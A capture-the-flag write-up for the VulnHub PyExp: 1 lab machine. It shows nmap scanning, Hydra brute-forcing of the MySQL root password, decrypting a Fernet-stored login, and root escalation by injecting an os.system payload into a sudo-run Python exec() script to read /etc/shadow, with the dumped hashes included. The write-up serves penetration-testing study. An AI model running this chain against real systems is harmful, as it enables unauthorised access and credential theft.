VulnHub | PyExp
Box Information
Name: | PyExp: 1 |
---|---|
Release Date: | 11 Aug 2020 |
OS: | Linux |
Difficulty: | Medium/Intermediate |
Creator: | 0xatom |
Download: | VulnHub |
Recon
nmap
TCP
Using nmap
, we’re able to find two open TCP ports: “waste” (1337), mysql (3306).
kali@kali:~$ sudo nmap -p- --min-rate 10000 192.168.210.118 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 18:39 EDT
Nmap scan report for 192.168.210.118
Host is up (0.070s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
1337/tcp open waste
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 9.51 seconds
...
kali@kali:~$ sudo nmap -sCV -p1337,3306 192.168.210.118
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-22 18:44 EDT
Nmap scan report for 192.168.210.118
Host is up (0.060s latency).
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 f7:af:6c:d1:26:94:dc:e5:1a:22:1a:64:4e:1c:34:a9 (RSA)
| 256 46:d2:8d:bd:2f:9e:af:ce:e2:45:5c:a6:12:c0:d9:19 (ECDSA)
|_ 256 8d:11:ed:ff:7d:c5:a7:24:99:22:7f:ce:29:88:b2:4a (ED25519)
3306/tcp open mysql MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
| mysql-info:
| Protocol: 10
| Version: 5.5.5-10.3.23-MariaDB-0+deb10u1
| Thread ID: 39
| Capabilities flags: 63486
| Some Capabilities: ODBCClient, LongColumnFlag, Support41Auth, Speaks41ProtocolNew, InteractiveClient, SupportsCompression, Speaks41ProtocolOld, SupportsTransactions, ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, FoundRows, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: 3|9G8#Es3B4y*^~\"*Ipx
|_ Auth Plugin Name: mysql_native_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.07 seconds
There is no public facing web service, but we’re able to pull banner info from the SQL server to determine it’s 5.5.5-10.3.23-MariaDB-0+deb10u1
(MariaDB) and we know this is a Debian Linux system.
Attacking SQL
I did some research into this version of MySQL/MariaDB and was able to find several vulnerabilities and exploits, but could not get them working. However, since this SQL server is listening to external traffic we can try brute forcing creds.
HackTricks playbook
Going by this awesome brute force playbook on HackTricks, we see that we can use hydra
to perform credential stuffing against the sql protocol. We could also use metasploit
’s auxiliary/scanner/mysql/mysql_login
(but OSCP prep means not relying on automated exploits - especially for stuff as simple as brute force attacks).
So we’re going to go with hydra
.
Brute forcing with Hydra
Using the syntax in the example, hydra -L usernames.txt -P pass.txt <IP> mysql
, we can craft our own version of this command. In my case, I’m going to try going for the root
SQL account. Note, that’s not the same as the system root
account… but it will still be useful if we’re able to get to it.
The command we’re going to use then is the following:
kali@kali:~/Downloads$ hydra -l root -P /usr/share/seclists/Passwords/Common-Credentials/100k-most-used-passwords-NCSC.txt 192.168.210.118 mysql
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-22 19:04:05
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 100011 login tries (l:1/p:100011), ~25003 tries per task
[DATA] attacking mysql://192.168.210.118:3306/
[STATUS] 686.00 tries/min, 686 tries in 00:01h, 99325 to do in 02:25h, 4 active
[STATUS] 686.00 tries/min, 2058 tries in 00:03h, 97953 to do in 02:23h, 4 active
[STATUS] 695.71 tries/min, 4870 tries in 00:07h, 95141 to do in 02:17h, 4 active
[STATUS] 698.40 tries/min, 10476 tries in 00:15h, 89535 to do in 02:09h, 4 active
[STATUS] 697.52 tries/min, 21623 tries in 00:31h, 78388 to do in 01:53h, 4 active
[STATUS] 694.83 tries/min, 32657 tries in 00:47h, 67354 to do in 01:37h, 4 active
[3306][mysql] host: 192.168.210.118 login: root password: prettywoman
1 of 1 target successfully completed, 1 valid password found
And we’re able to extract the credentials: root:prettywoman for this SQL server. Brute forcing is incredibly noisy activity, and not particularly efficient. As we can see, it took almost around an hour to get these credentials. This world list was also only 100 thousand lines, imagine the time it would take to go through RockYou’s 14,344,399 lines.
Enumerating MySQL/MariaDB
With credentials, we can now move on and see what information we’re able to find in this SQL server. Using this command, we can connect externally to the SQL server:
kali@kali:~/Downloads$ mysql -u root -h 192.168.210.118 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 88744
Server version: 10.3.23-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
From here we can start our enumeration process. If you’re not familiar with SQL queries, I HIGHLY suggest you pull up a resource to look at like this one. I’m not going to explain what each query is, or the syntax because quite honestly I’m google searching how to do this stuff myself.
databases
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| data |
| information_schema |
| mysql |
| performance_schema |
+--------------------+
4 rows in set (0.064 sec)
This is a list of all the databases on this server, let’s start further enumeration on the first db, data
.
MariaDB [data]> use data;
Database changed
MariaDB [data]> show tables;
+----------------+
| Tables_in_data |
+----------------+
| fernet |
+----------------+
1 row in set (0.061 sec)
MariaDB [data]> desc fernet;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| cred | varchar(255) | YES | | NULL | |
| keyy | varchar(255) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.066 sec)
We have two entries under this fernet
table, “cred” and “keyy” so let’s dump each of those out:
cred
MariaDB [data]> select cred from fernet;
+------+
| cred |
+------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= |
+----+
1 row in set (0.064 sec)
keyy
MariaDB [data]> select keyy from fernet;
+----------------------------------------------+
| keyy |
+----------------------------------------------+
| UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+----------------------------------------------+
1 row in set (0.062 sec)
Researching Fernet
From our enumeration of SQL, we retrieved a credential and key pair. Assuming that these things go together, it is likely some sort of encryption algorithm. Doing some searching on “Fernet” led me to some documentation on a library within the pyca/cryptography
Python module. Apparently Fernet uses symmetric encryption, meaning our potential key is the same one used to both encrypt and decrypt this ciphertext. The documentation even has a script snippet we can use to potentially decrypt this cred:
>>> from cryptography.fernet import Fernet
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"my deep dark secret")
>>> token
So let’s run Python from the commandline and see what happens…
Attempting to decrypt via Fernet
kali@kali:~/Downloads$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from cryptography.fernet import Fernet
>>> key = b"UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0="
>>> cipher = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
>>> f = Fernet(key)
>>> f.decrypt(cipher)
b'lucy:wJ9`"Lemdv9[FEw-'
Our decrypted text looks to be credentials for user lucy
with password wJ9`"Lemdv9[FEw-
. So let’s now try SSH’ing into this box (port 1337) with those creds.
shell as lucy via SSH (first flag)
kali@kali:~/Downloads$ ssh lucy@192.168.210.118 -p 1337
The authenticity of host '[192.168.210.118]:1337 ([192.168.210.118]:1337)' can't be established.
ECDSA key fingerprint is SHA256:vCsf55xm10zZX+ZdWt1UgdqD+IW5M7Nl1JHt4zfEzzo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.210.118]:1337' (ECDSA) to the list of known hosts.
lucy@192.168.210.118's password:
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lucy@pyexp:~$
At this point, we have our first flag - ls ~/*.txt
. Since we’ve established Persistence we can now attempt lateral movement, pivoting, or privilege escalation.
sudo privileges
An easy check we can do is running sudo -l
to see if this user, lucy
, is in the sudoers file and can execute any commands. Remember sudo
allows non-root users to execute commands at superuser privilege levels (aka root).
lucy@pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucy may run the following commands on pyexp:
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
researching /opt/exp.py
Since we know /opt/exp.py
will run as root, let’s see if we can gather some information on what this script is. We have read access, and here’s what we see:
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
Super simple script here, take a user input and passes it as an argument to exec()
. To learn more about what that function does, we can read about it here.
root privilege via /opt/exp.py
We know what vehicle will take us to the root flag, but I’m not sure what I would pass in here to get what I want. We know this is a linux system, so I did some research on how to execute system commands via Python and came across this page.
In theory, if we’re able to import the os library, we can do stuff like os.system('cat /etc/shadow')
and get it to spit stuff out to us as if we were root. I wasn’t sure how to do this, so I went to google yet again and came across this documentation which tells me I can pass in a module to import by just using this syntax:
__import__('os')
From there, I can use .
(dot) notation to access a particular sub-module (in this case, we’re interested in system
)…and we can craft a payload like this to test it out:
__import__('os').system('cat /etc/shadow');
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?__import__('os').system('cat /etc/shadow');
root:$6$WjXtMoTRQx7V.N5e$IYT8vSDBZZliMwfLrUaVYktpSak2.L6NyTqG7XGwgNrkK./OZj5H36qiiZ5w4QhQWCQhkRmlOzXuMOJr3aC3T.:18585:0:99999:7:::
daemon:*:18484:0:99999:7:::
bin:*:18484:0:99999:7:::
sys:*:18484:0:99999:7:::
sync:*:18484:0:99999:7:::
games:*:18484:0:99999:7:::
man:*:18484:0:99999:7:::
lp:*:18484:0:99999:7:::
mail:*:18484:0:99999:7:::
news:*:18484:0:99999:7:::
uucp:*:18484:0:99999:7:::
proxy:*:18484:0:99999:7:::
www-data:*:18484:0:99999:7:::
backup:*:18484:0:99999:7:::
list:*:18484:0:99999:7:::
irc:*:18484:0:99999:7:::
gnats:*:18484:0:99999:7:::
nobody:*:18484:0:99999:7:::
_apt:*:18484:0:99999:7:::
systemd-timesync:*:18484:0:99999:7:::
systemd-network:*:18484:0:99999:7:::
systemd-resolve:*:18484:0:99999:7:::
messagebus:*:18484:0:99999:7:::
lucy:$6$qJN3aE/o70f6Djpm$SpwqhZsgheT6jXQ.eKsLJTfCSNvAALXrz6VMmsObx9gBs5oAwBJoGASjAWM6nTxaEuo4/rl1GJMnI7VhfIRVz0:18484:0:99999:7:::
systemd-coredump:!!:18484::::::
sshd:*:18484:0:99999:7:::
mysql:!:18484:0:99999:7:::
Very cool. If we can read /etc/shadow
then we can essentially do anything on this box with that method. For our case, we’re going to pass in something like:
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?__import__('os').system('cat /root/*.txt');
5******************************
Post-Root
At this point, since we have a vector of executing arbitrary system commands as the root
user, we can establish persistence further by creating new root-priv accounts and engage in further TTPs (exfil, etc).